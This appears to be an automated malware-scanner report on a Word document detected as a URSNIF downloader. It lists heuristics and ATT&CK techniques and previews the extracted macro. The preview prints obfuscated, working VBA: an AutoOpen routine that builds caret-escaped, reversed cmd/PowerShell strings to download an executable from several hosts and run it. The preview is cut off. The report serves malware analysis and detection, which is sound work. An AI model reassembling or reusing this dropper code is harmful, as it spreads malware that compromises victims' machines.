MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening the document. The macro utilizes the Shell() function, indicating an attempt to run an external command or program. The ClamAV detection name 'Doc.Downloader.URSNIF-6729855-3' strongly suggests a downloader functionality, likely to fetch and execute a secondary payload.
Heuristics 7
-
ClamAV: Doc.Downloader.URSNIF-6729855-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.URSNIF-6729855-3
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5200 bytes |
SHA-256: 185a764c56d3f8f78a9e1cdd65dc149f723ccaf6abc20aa49cd7c8ea6f14eaff |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "oYiVGZzE"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On _
Error _
Resume _
Next
Hour "m" + "5280"
Hour "304838636" + "dTQ"
Hour "4458" + "318351277" + "326037795" + "103800552"
VBA.Shell CleanString(nm) + jTqWBtrAUDTHtd + mvccYswrKTpY + oNtklQTSR + AzfUkRiwcMj + opbfF + icIjQaLvmcw + QwkhXoXw, 49 - 49
Hour "YYr" + "zMhETV" + "YrwMMYVr" + "2315"
End Sub
Attribute VB_Name = "dljiuZmRkHhnSk"
Function oNtklQTSR()
On _
Error _
Resume _
Next
Hour "108129520" + "A"
Hour "MKR" + "j" + "4485" + "2224"
Hour "46485342" + "WmZsEdsVwz"
Hour "piDowwQshErYi" + "907"
UCJhptXVl = "c" + "md /V^" + ":O/C" + Chr(4 + 1 + 2 + 0 + 27) + "^" + "s^e^t ^" + "7^y^w^x" + "=^ ^" + " ^ ^"
Hour "qisv" + "IAEn"
Hour "8879" + "60714581" + "9653" + "HrkkmCRvB"
baYUiaN = " ^ " + "^ " + " ^" + " " + "^ ^ ^" + " ^" + " ^" + "}^}{" + "^hcta" + "c^};ka^" + "er^b^;^" + "z^BL" + "$ m^et"
Hour "djC" + "wIHi" + "273149115" + "tnvpAbZaoBtW"
Hour "2525" + "80392583" + "MNDAKFNk" + "wmQ"
Hour "fK" + "wmAndYtHF" + "AmiiYdGWhCZ" + "207407232"
Hour "HAijtjjLM" + "59807140"
wnwWZaJ = "I" + "^-^" + "ekovn" + "^" + "I" + "^" + ";" + ")zBL$" + "^ ,^S" + "^uS^$" + "(e^" + "liF^d^" + "a^o^"
Hour "477548143" + "hWKNPQ"
Hour "61542299" + "L" + "533581375" + "7352"
Hour "98997423" + "pnwVkwXQziPN"
AbiZUi = "l" + "n^wo^" + "D^.j" + "d^U^$" + "^{yr^t{" + ")Nf^m" + "$" + "^ ni" + "^ ^S"
Hour "uXDwRjbuLaZL" + "431453555" + "9954" + "109614183"
Hour "Y" + "OqpSGwkWS"
Hour "344382555" + "PswKbjh"
NDPpVKpv = "uS^$" + "(" + "^hca" + "er^of^" + ";'ex" + "e.^'+HC" + "r$^+^" + "'^\'+c" + "i^l"
Hour "DnLrkJWz" + "246964424" + "461544300" + "njliNfjPvz"
Hour "Ihwt" + "5220" + "frJQrb" + "KSzihKNWpiA"
EMiADWiSUw = "b^u^p^" + ":vn^e^" + "$=zB" + "L$^;^'^" + "0^0" + "^5^' =^" + " ^HCr^$" + ";)'@'(" + "ti^l^p" + "^S^." + "'t^Q^08" + "vr" + "9//lp"
Hour "1481" + "371078970" + "324" + "658"
Hour "523308218" + "7814" + "dLzzWL" + "j"
Hour "2326" + "Birf"
tOzww = "^.siwre" + "s-" + "s" + "a^" + "m^u^" + "w" + "^d//:p^"
oNtklQTSR = UCJhptXVl + baYUiaN + wnwWZaJ + AbiZUi + NDPpVKpv + EMiADWiSUw + tOzww
Hour "CSPVJztlmK" + "7937"
Hour "Fnc" + "Pswzhn"
Hour "163062227" + "7280"
Hour "nDw" + "PGoFw" + "EAYdOGuiB" + "299309706"
Hour "2119" + "6494" + "K" + "R"
End Function
Function AzfUkRiwcMj()
On _
Error _
Resume _
Next
Hour "443444131" + "9909" + "tjcTn" + "aPLD"
Hour "106118252" + "YuvupbUNa"
Hour "NhkuQXQ" + "ZFYY" + "ULzd" + "idi"
GntdVz = "t^th@Sz" + "F^" + "7ps^" + "Q^y" + "/r^i." + "^fir^a"
Hour "9939" + "51458115" + "499664232" + "hNF"
Hour "456011564" + "4923" + "dar" + "MtXb"
Hour "p" + "5742219" + "206611842" + "208206566"
fCrNwG = "h^sra" + "^ja^" + "h//" + ":^p^t" + "t" + "^" + "h^@VUj" + "GH^" + "f3G/m" + "^" + "oc.inak" + "ku" + "^d"
Hour "LEzSAalhULB" + "8871"
Hour "1872" + "1938"
wjpYsziVXFG = "r^in" + "ye^pu" + "s" + "^mok//" + ":^p^" + "tth@^"
Hour "mIqG" + "Id" + "zQPJi" + "KFPQljCf"
Hour "Q" + "jbhf" + "woMmzu" + "ZtTLTvTZd"
Hour "264140635" + "br" + "8353" + "jBmrLInv"
WtmbG = "WW^" + "e5dn^Q" + "V" + "R6/" + "^lc^." + "ru" + "^o^" + "t^an" + "^a^m//" + ":pt" + "^t^h^"
Hour "8035" + "502" + "ZEB" + "219063334"
Hour "PDIh" + "fJkk" + "JqDIsr" + "GSifhSt"
Hour "100772543" + "mNaBhYVk" + "w" + "GVaLiiSQ"
AqSph = "@I" + "N^" + "Qu^" + "6n^x/" + "gr^" + "o.^h" + "^hn^" + "ye"
Hour "71578749" + "lORiGF"
Hour "K" + "452712436"
Hour "63330226" + "Eiql" + "uEhDQTv" + "DC"
Hour "391852726" + "bXcdHLTQ" + "Jjoa" + "241087631"
WBqiM = "r^a" + "^ew//^" + ":pt" + "t^h" + "^'=" + "N" + "f" + "m" + "$^"
Hour "8456" + "451652646" + "1500" + "499076007"
Hour "RuC" + "342483993" + "5630" + "6080"
vvvAZuCcO = ";^tn" + "^e" + "^ilC^b" + "eW." + "t^eN tc" + "e^j^
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.